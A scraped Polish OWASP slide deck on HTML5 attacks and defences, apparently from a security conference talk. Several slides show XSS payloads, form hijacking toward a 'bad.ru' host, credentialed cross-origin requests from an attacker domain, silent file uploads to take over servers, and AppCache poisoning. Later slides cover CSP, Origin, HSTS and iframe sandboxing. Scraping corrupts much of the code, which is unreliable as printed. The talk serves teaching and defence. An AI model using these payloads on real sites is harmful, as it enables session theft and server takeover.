�ݺ�ߣ

HTML5:
atak i obrona

Krzysztof Kotowicz

OWASP SecuRing
kkotowicz@securing.pl

Copyright 2007 © The OWASP Foundation
Permission is granted to copy, distribute and/or modify this document
under the terms of the OWASP License.

The OWASP Foundation
http://www.owasp.org

$ id

 IT security consultant @ SecuRing
 Web security researcher
(BlackHat USA, BruCON, Hack in Paris, ...)
 blog.kotowicz.net
 @kkotowicz

OWASP 2

HTML5
(i pokrewne)

OWASP 3

HTML5

 Upgrade wielu technologii używanych przez
aplikacje webowe
 Dużo nowej dokumentacji
 Dużo nowego kodu
 Prace trwają od 2004

OWASP 4

HTML5

 Bogaty, oparty na standardach klient
 Przenoszenie logiki na stronę klienta
 więcej danych
 więcej możliwości
 Nowe API
 Geolocation, Drag & Drop, Filesystem, WebSockets,
WebWorkers, Touch Events...

OWASP 5

HTML5 i bezpieczeństwo

 Wiele rozwiązań roboczych
 Tradycyjne webowe podatności HTML wciąż
istnieją
 XSS
 CSRF
 Nowe API dostępne dla Javascriptu
 XSS zyskuje na znaczeniu

OWASP 6

HTML5 - ataki
(praktyczne)

OWASP 7

XSS

 Filtry anty-XSS nie tylko w przeglądarkach!
 Nowe elementy, nowe atrybuty

<iframe srcdoc=&#/slideshow/attack-withhtml5owasp/16600045/x27;<b>html here</b>&#/slideshow/attack-withhtml5owasp/16600045/x27;>

<video poster=javascript:alert(1)//></video>

<form><button
formaction="javascript:alert(1)">X</button>

<math><maction actiontype="statusline"
/slideshow/attack-withhtml5owasp/16600045/xlink:href="javascript:alert(3)">CLICKME<mte/slideshow/attack-withhtml5owasp/16600045/xt
>http://google.com</mte/slideshow/attack-withhtml5owasp/16600045/xt></maction> </math>
OWASP 8

XSS

 SVG, base64 - XSS i zaciemnnianie
<svg><image style=&#/slideshow/attack-withhtml5owasp/16600045/x27;filter:url(/slideshow/attack-withhtml5owasp/16600045/"data:image/svg_ +/slideshow/attack-withhtml5owasp/16600045/xml,<svg /slideshow/attack-withhtml5owasp/16600045/xmlns=%22http:/www.w3.org/2000/svg_ %22><script>parent.alert(1)</script></svg>")&#/slideshow/attack-withhtml5owasp/16600045/x27;></
svg>

<svg /slideshow/attack-withhtml5owasp/16600045/xmlns="http://www.w3.org/2000/svg"
/slideshow/attack-withhtml5owasp/16600045/xmlns:/slideshow/attack-withhtml5owasp/16600045/xlink="http://www.w3.org/1999//slideshow/attack-withhtml5owasp/16600045/xlink">
<feImage> <set attributeName="/slideshow/attack-withhtml5owasp/16600045/xlink:href"
to="data:image/svg+/slideshow/attack-withhtml5owasp/16600045/xml;charset=utf-8;base64,
PHN2ZyB4bW/slideshow/attack-withhtml5owasp/16600045/xucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC
9zdmciPj/slideshow/attack-withhtml5owasp/16600045/xzY3JpcHQ
%2BYW/slideshow/attack-withhtml5owasp/16600045/xlcnQoMSk8L3NjcmlwdD48L3N2Zz4NCg%3D%3D"/>
</feImage> </svg>

OWASP 9

Data: URI

 Użyj, jak kiedyś javascript:
// all
<a href=data:te/slideshow/attack-withhtml5owasp/16600045/xt/
html;base64,PHNjcmlwdD5hbGVydCg/slideshow/attack-withhtml5owasp/16600045/xKTwvc2NyaXB0Pg==>/slideshow/attack-withhtml5owasp/16600045/xss</a>

// IE
<link rel=stylesheet
href=data:,*%7b/slideshow/attack-withhtml5owasp/16600045/x:e/slideshow/attack-withhtml5owasp/16600045/xpression(write(//slideshow/attack-withhtml5owasp/16600045/xss/))%7d >

 Sprawdź przekierowania!

http://vuln.pl/?redirect=data:te/slideshow/attack-withhtml5owasp/16600045/xt/html,....

Location: data:te/slideshow/attack-withhtml5owasp/16600045/xt/html,...

OWASP 10

Przechwytywanie formularzy

 Bez użycia Javascript

<form id=f action=https://good.com>
<input name=secret>
</form>

// anywhere in the document
<button form=f formaction=http://
bad.ru>CLICK
</button>

OWASP 11

Wykorzystanie XSS

 HTML5 pomaga przy eksploitacji
 WebSockets - wydajne połączenie z C&C
 Dane w DB, HTML5 filesystem, Web Storage

 // stealth mode
history.pushState(&#/slideshow/attack-withhtml5owasp/16600045/x27;/innocent-url&#/slideshow/attack-withhtml5owasp/16600045/x27;)

// wstrzyknięcie kodu
localStorage[&#/slideshow/attack-withhtml5owasp/16600045/x27;code&#/slideshow/attack-withhtml5owasp/16600045/x27;]=&#/slideshow/attack-withhtml5owasp/16600045/x27;alert(/1/)&#/slideshow/attack-withhtml5owasp/16600045/x27;;

// później
eval(localStorage[&#/slideshow/attack-withhtml5owasp/16600045/x27;code&#/slideshow/attack-withhtml5owasp/16600045/x27;])

OWASP 12

Klasyczny XHR

 Tylko w ramach tej samej domeny

OWASP 13

Cross Origin Resource Sharing

 Międzydomenowy

OWASP 14

CORS

 Międzydomenowe XHR, z poświadczeniami
(credentials):
 cookies
 certyfikat SSL/TLS kliencki
 poświadczenia HTTP auth
 Docelowy serwer podejmuje decyzję
 Odsyła odpowiednie nagłówki

OWASP 15

CORS

// http://attacker.cn
var /slideshow/attack-withhtml5owasp/16600045/xhr = new XMLHttpRequest();

/slideshow/attack-withhtml5owasp/16600045/xhr.open("POST", "http://victim.pl");
/slideshow/attack-withhtml5owasp/16600045/xhr.setRequestHeader("Content-Type", "te/slideshow/attack-withhtml5owasp/16600045/xt/plain");
/slideshow/attack-withhtml5owasp/16600045/xhr.withCredentials = "true"; // cookies etc.
/slideshow/attack-withhtml5owasp/16600045/xhr.send("Anything");

OWASP 16

CORS

 Żądanie XHR dociera do serwera
 Z poświadczeniami

 Można wykorzystać do Cross Site Request Forgery
 Tak jak <form>, <img src> itd.
 Nic nowego?

OWASP 17

Cichy upload plików
ing ");
"An yth
r.s end(
/slideshow/attack-withhtml5owasp/16600045/xh

Content-Type: multipart/form-data; boundary=AaB03/slideshow/attack-withhtml5owasp/16600045/x

--AaB03/slideshow/attack-withhtml5owasp/16600045/x
Content-Disposition: form-data; name="submit-name"

Larry
--AaB03/slideshow/attack-withhtml5owasp/16600045/x
Content-Disposition: form-data; name="files";
filename="file1.t/slideshow/attack-withhtml5owasp/16600045/xt"
Content-Type: te/slideshow/attack-withhtml5owasp/16600045/xt/plain

... contents of file1.t/slideshow/attack-withhtml5owasp/16600045/xt ...
--AaB03/slideshow/attack-withhtml5owasp/16600045/x--

OWASP 18


/slideshow/attack-withhtml5owasp/16600045/xhr.setRequestHeader("Content-Type",
"multipart/form-data, boundary=/slideshow/attack-withhtml5owasp/16600045/x/slideshow/attack-withhtml5owasp/16600045/x/slideshow/attack-withhtml5owasp/16600045/x");

/slideshow/attack-withhtml5owasp/16600045/xhr.send(&#/slideshow/attack-withhtml5owasp/16600045/x27;
--/slideshow/attack-withhtml5owasp/16600045/x/slideshow/attack-withhtml5owasp/16600045/x/slideshow/attack-withhtml5owasp/16600045/xrn
Content-Disposition: form-data;
name="files"; filename="file1.t/slideshow/attack-withhtml5owasp/16600045/xt"rn
Content-Type: te/slideshow/attack-withhtml5owasp/16600045/xt/plainrn
rn
ANYTHINGrn
--/slideshow/attack-withhtml5owasp/16600045/x/slideshow/attack-withhtml5owasp/16600045/x/slideshow/attack-withhtml5owasp/16600045/x--&#/slideshow/attack-withhtml5owasp/16600045/x27;);

OWASP 19


 Udaje multipart/form-data request z uploadem
poprzez <input type=file>
 Użyj do:
 Zastąpienia firmware’u w routerach
 Przejęcia kontroli nad serwerami aplikacyjnymi

logUrl = &#/slideshow/attack-withhtml5owasp/16600045/x27;http://glassfishserver/
management/domain/applications/
application&#/slideshow/attack-withhtml5owasp/16600045/x27;;
fileUpload(c,"maliciousarchive.war");

OWASP 20

Wstrzyknięcie treści

 http://website/#/a/page

/slideshow/attack-withhtml5owasp/16600045/xhr.open("GET", "/a/page");

 https://touch.facebook.com/#http://
e/slideshow/attack-withhtml5owasp/16600045/xample.com//slideshow/attack-withhtml5owasp/16600045/xss.php

HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Content-Type: te/slideshow/attack-withhtml5owasp/16600045/xt/html

<img src=/slideshow/attack-withhtml5owasp/16600045/x onerror=alert(1)>

OWASP 21

Offline web applications

 Cache offline

<html manifest=/cache.manifest>
 Manifest
 Typ MIME te/slideshow/attack-withhtml5owasp/16600045/xt/cache-manifest
CACHE MANIFEST
/
/main/home
/main/app.js
/settings/home
/settings/app.js
http://img.e/slideshow/attack-withhtml5owasp/16600045/xample.com/logo.png

 Cache odświeża się, kiedy zmieni się plik
OWASP 22

Man in the middle

 Podgląd / zmiana ruchu
 XSS
 session hijack (Firesheep)
 Atak nietrwały

OWASP 23

AppCache poison

1. W trakcie MITM: wstrzyknięcie trucizny
<html manifest="/robots.t/slideshow/attack-withhtml5owasp/16600045/xt"> CACHE MANIFEST
....<script>evil_foo()</script> CACHE:
http://victim/
NETWORK:
*
2. Po zakończeniu MITM:
• ofiara odwiedza stronę
• robots.t/slideshow/attack-withhtml5owasp/16600045/xt ma niewłaściwy typ MIME
• zatruta strona pobierana z cache
• złośliwy kod uruchamia się
• ... aż do ręcznego wyczyszczenia offline cache
OWASP 24

AppCache poison

OWASP 25

AppCache poison

 Jak się bronić?
 SSL/TLS
 Wyczyszczenie
offline cache

OWASP 26

HTML5 - obrona
(w trakcie budowy)

OWASP 27

HTML5 - metody obrony

 Content Security Policy (XSS)
 Nagłówek Origin (CSRF)
 HTTP Strict Transport Security (MITM)
 Iframe sandbo/slideshow/attack-withhtml5owasp/16600045/x (izolacja treści)

OWASP 28

Content Security Policy

 Polityka zapobiegająca m.in. XSS
 Firefo/slideshow/attack-withhtml5owasp/16600045/x / Chrome / IE 10 / Safari
 Ciężka w implementacji

<a onclick=....> <script>code</script>

 Defense-in-depth

OWASP 29

Content Security Policy

Content-Security-Policy:
script-src &#/slideshow/attack-withhtml5owasp/16600045/x27;self&#/slideshow/attack-withhtml5owasp/16600045/x27; https://apis.google.com;
frame-src &#/slideshow/attack-withhtml5owasp/16600045/x27;none&#/slideshow/attack-withhtml5owasp/16600045/x27;; object-src &#/slideshow/attack-withhtml5owasp/16600045/x27;none&#/slideshow/attack-withhtml5owasp/16600045/x27;

OWASP 30

Nagłówek Origin

Referer: http://host:port/url/?a=1

 Często używany do zabezpieczenia przed CSRF

if (req.headers.referer
&& !req.headers.referer.match(&#/slideshow/attack-withhtml5owasp/16600045/x27;ok.com&#/slideshow/attack-withhtml5owasp/16600045/x27;)) {
tell_attacker_to_get_lost();
} else {
process();
}

 Kiedyś łatwy do podrobienia

OWASP 31

Nagłówek Origin

 Łatwo pozbyć się nagłówka Referer!

 preferencje przeglądarki
 https:// → http://
 niemożliwa do ustalenia wartość

location = &#/slideshow/attack-withhtml5owasp/16600045/x27;data:te/slideshow/attack-withhtml5owasp/16600045/xt/html,<html><meta http-
equiv="refresh" content="0; url=data:te/slideshow/attack-withhtml5owasp/16600045/xt/html,<form
id=f method=post action=&#/slideshow/attack-withhtml5owasp/16600045/x27;&#/slideshow/attack-withhtml5owasp/16600045/x27;+url+&#/slideshow/attack-withhtml5owasp/16600045/x27;&#/slideshow/attack-withhtml5owasp/16600045/x27;></
form><script>document.f.submit()</scri&#/slideshow/attack-withhtml5owasp/16600045/x27;+&#/slideshow/attack-withhtml5owasp/16600045/x27;pt>"></html>&#/slideshow/attack-withhtml5owasp/16600045/x27;;

OWASP 32

Nagłówek Origin

 szanuje prywatność

Referer: http://host:port/naga-prawda
Origin: http://host:port
 zachowany przy ruchu https:// → http://

 nie może być podrobiony

 nieznany → Origin: null

OWASP 33

HSTS

 HTTP Strict Transport Security
 Zabezpiecza przed atakami SSL stripping

GET / HTTP/1.1
Host: gmail.com

HTTP/1.1 301 Be Secure
Location: https://mail.google.com/

OWASP 34

HSTS

Strict-Transport-Security: ma/slideshow/attack-withhtml5owasp/16600045/x-age=1576800;
includeSubDomains

 Dozwolone tylko szyfrowane połączenia
 Ciche tłumaczenie http:// na https://
 “Hard fail” w przypadku błędów SSL/TLS

OWASP 35

Iframe sandbo/slideshow/attack-withhtml5owasp/16600045/x

<script>user_id=4</script>
<iframe sandbo/slideshow/attack-withhtml5owasp/16600045/x src=/slideshow/attack-withhtml5owasp/16600045/untrusted-ad.asp/slideshow/attack-withhtml5owasp/16600045/x />

 Bez dostępu do DOM
 Bez skryptów
 Bez pluginów (Java, Flash, ...)
 Bez formularzy
 Bez framebusting
 Ograniczenia można wybiórczo wyłączać

OWASP 36

Iframe sandbo/slideshow/attack-withhtml5owasp/16600045/x

<iframe sandbo/slideshow/attack-withhtml5owasp/16600045/x src=/slideshow/attack-withhtml5owasp/16600045/"data:te/slideshow/attack-withhtml5owasp/16600045/xt/html,
<script>alert(&#/slideshow/attack-withhtml5owasp/16600045/x27;haha!&#/slideshow/attack-withhtml5owasp/16600045/x27;)</script>">
</iframe>

// attacker.com
<iframe sandbo/slideshow/attack-withhtml5owasp/16600045/x="allow-scripts
allow-forms" src=http://clickjacked/ >
</iframe>

OWASP 37

Podsumowanie

 Nowe możliwości, także dla atakującego
 XSS groźniejszy w skutkach

 Nowe narzędzia do obrony
 Warto je zastosować w kombinacji z tradycyjnymi
metodami

OWASP 38

Odnośniki

 html5security.org
 html5sec.org
 www.owasp.org/inde/slideshow/attack-withhtml5owasp/16600045/x.php/
HTML5_Security_Cheat_Sheet

 github.com/koto/
 blog.kotowicz.net

OWASP 39

�ݺ�ߣ

HTML5: Atak i obrona

Recommended

More Related Content

What&#/slideshow/attack-withhtml5owasp/16600045/x27;s hot (13)

Viewers also liked (6)

Similar to HTML5: Atak i obrona (20)

More from Krzysztof Kotowicz (11)

HTML5: Atak i obrona